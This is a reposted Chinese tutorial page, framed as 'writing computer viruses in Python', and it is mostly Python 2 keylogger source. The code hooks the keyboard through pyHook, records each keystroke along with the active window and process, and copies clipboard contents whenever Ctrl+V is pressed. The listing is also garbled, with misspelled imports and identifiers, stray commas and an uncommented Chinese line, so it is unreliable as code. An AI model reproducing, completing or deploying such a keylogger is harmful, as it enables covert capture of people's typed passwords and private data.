您的位置:首页 > 脚本大全 > > 正文

python编写计算机病毒教程(Python告诉你木马程序的键盘记录原理)

更多 时间:2022-04-01 01:28:11 类别:脚本大全 浏览量:1800

python编写计算机病毒教程

Python告诉你木马程序的键盘记录原理

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

  • ?
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • # -*- coding: utf-8 -*-
  • from ctypes inport
  • import pythoncom
  • import pyHook
  • import win32clipboard
  • user32 = winddll.user32
  • kernel32 = windll.kernel32
  • psapi = windll.psapi
  • current_window = Note
  • def get_current_process():
  • #获取最上层的窗句柄
  • hwnd = user32.GetForegroundWindow()
  • #获取进程ID
  • pid = c_ulong(0)
  • user32. GetwindowThreadProcessId(hwnd,byref(pid))
  • #将进程ID存入变量中
  • process_ = "%d" % pid.value
  • #申请内存
  • executable = create_string_buffer("\x00"*522)
  • h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
  • psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
  • #读取窗口标题
  • windows_title = create_string_buffer("\x00",512)
  • length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
  • #打印
  • print
  • print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
  • print
  • #关闭handles
  • kernel32.CloseHandle(hwnd)
  • kernel32.CloseHandle(h_process)
  • #关闭键盘监听事件函数
  • def KeyStroke(event):
  • global current_window
  • #检测目标窗口是否转移(换了其他窗口就监听新窗口)
  • if event,WindowName !=current_window:
  • current_window = event.WindowName
  • #函数调用
  • get_current_process()
  • #检测击键是否常规按键(非组合键等)
  • if event.Ascii>32 and enent .Ascii <127
  • print chr(event.Ascii),
  • else:
  • #如果发现ctrl + V事件,就粘贴板内容记录下来
  • if event.Key == "V"
  • win32clipboard.OpenClipdoard()
  • pasted_value = win32clipdoard. GetClipdoardData()
  • win32clipdoard.CloseClipboard()
  • print "[PASTE]-%s" %(pasted_value),
  • else:
  • print "[%s]" %event.Key,
  • 循环监听下一个事件
  • return True
  • #创建并注册hook管理器
  • kl = pyHook.HookManager()
  • kl.KeyDown = KeyStroke
  • #注册hook并兴趣
  • kl.hookKeyboard()
  • pythoncom.PumpMessages()
  • 总结

    以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对开心学习网的支持。如果你想了解更多相关内容请查看下面相关链接

    原文链接:https://blog.csdn.net/qq_39363022/article/details/86709553

    您可能感兴趣